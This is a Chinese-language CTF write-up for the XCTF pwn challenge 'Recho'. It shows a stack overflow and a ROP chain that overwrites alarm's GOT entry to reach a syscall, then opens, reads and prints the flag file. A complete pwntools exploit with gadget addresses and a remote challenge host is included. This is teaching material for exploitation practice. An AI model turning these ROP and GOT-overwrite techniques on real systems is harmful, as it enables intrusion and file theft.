Recho(xctf)

0x0 程序保护和流程

保护:

Recho(xctf)_第1张图片

流程:

main()

Recho(xctf)_第2张图片

存在一个很明显的问题,就第二次可以输入的字符串大小是根据第一次输入的数字大小确定的,所以存在一个明显的栈溢出。

0x1 利用过程

1.通过栈溢出控制程序的流程只会发生在函数结束时,但是在这个程序中只要第一次的read函数一直有效程序就不会退出,所以在对栈完成布局之后就需要关闭输入。

2.一旦关闭输入,就不能继续输入了,所以必须一次就把gadget全部布置到栈上。

3.通过提示可以在.data中找到flag字符串。

在这里插入图片描述

4.于是猜想需要将名字为flag的文件中的内容读取并输出就能得到flag了。而读取并输出的流程可以为open()->read()->printf()。(write函数参数较多,printf函数可以少写一点代码)

flag=open("flag",0); // O_RDONLY==0
read(fd, addr, 100);
printf(addr);

但是在这段程序中并没有open函数,不过还可以使用syscall直接调用open函数,而在libc中可以发现open()的调用号为2。

Recho(xctf)_第3张图片

接下来只需要找到syscall的gadget就并配合其他gadget就可以实现open()了。程序中的write函数和alarm函数都是需要syscall完成调用的。

Recho(xctf)_第4张图片

alarm

所以只需要修改got表将got表中的地址加上偏移就可以直接调用syscall。选用这两个函数的原因是都有syscall,知道got表地址,并且不在ROP链中。

5.通过以上分析和程序中的gadget可以写出payload了。

需要的gadget。

Recho(xctf)_第5张图片

Recho(xctf)_第6张图片

pop_rax=0x4006fc
pop_rdi=0x4008a3
pop_rsi=0x4008a1
pop_rdx=0x4006fe
rdi_add=0x40070D
flag_addr=0x601058
stdin_addr=0x601090

payload='A'*(0x38)
#change alarm's got to syscall
payload+=p64(pop_rax)+p64(0x5)
payload+=p64(pop_rdi)+p64(alarm_got)
payload+=p64(rdi_add)

#open flag by syscall
payload+=p64(pop_rax)+p64(0x02)
payload+=p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rsi)+p64(0)+p64(0)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(alarm_plt) #syscall

# read flag ,flag is in stdin
payload+=p64(pop_rdi)+p64(0x03)
payload+=p64(pop_rsi)+p64(stdin_addr)+p64(0) #open的文件描述符一般从3开始
payload+=p64(pop_rdx)+p64(0x30)
payload+=p64(read_plt)

# print flag
payload+=p64(pop_rdi)+p64(stdin_addr)+p64(print_plt)

0x2 exp

from pwn import *
sh=remote('220.249.52.133','45485')
# sh=process('./a')
elf=ELF('./a')

alarm_got=elf.got['alarm']
alarm_plt=elf.plt['alarm']
read_plt=elf.plt['read']
print_plt=elf.plt['printf']

pop_rax=0x4006fc
pop_rdi=0x4008a3
pop_rsi=0x4008a1
pop_rdx=0x4006fe
rdi_add=0x40070D
flag_addr=0x601058
stdin_addr=0x601090

payload='A'*(0x38)
#change alarm got to syscall
payload+=p64(pop_rax)+p64(0x5)
payload+=p64(pop_rdi)+p64(alarm_got)
payload+=p64(rdi_add)

#open flag by syscall
payload+=p64(pop_rax)+p64(0x2)
payload+=p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rsi)+p64(0)+p64(0)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(alarm_plt)

# read flag ,flag is in stdin
payload+=p64(pop_rdi)+p64(0x3)
payload+=p64(pop_rsi)+p64(stdin_addr)+p64(0)
payload+=p64(pop_rdx)+p64(0x30)
payload+=p64(read_plt)

# print flag
payload+=p64(pop_rdi)+p64(stdin_addr)+p64(print_plt)

payload = payload.ljust(0x200,'\x00')
sh.recvuntil('Welcome to Recho server!\n')
sh.send(str(0x200)+'\n')
sh.send(payload)
sh.recv()
sh.shutdown("send")
sh.recv()

你可能感兴趣的:(xctf(pwn高手区))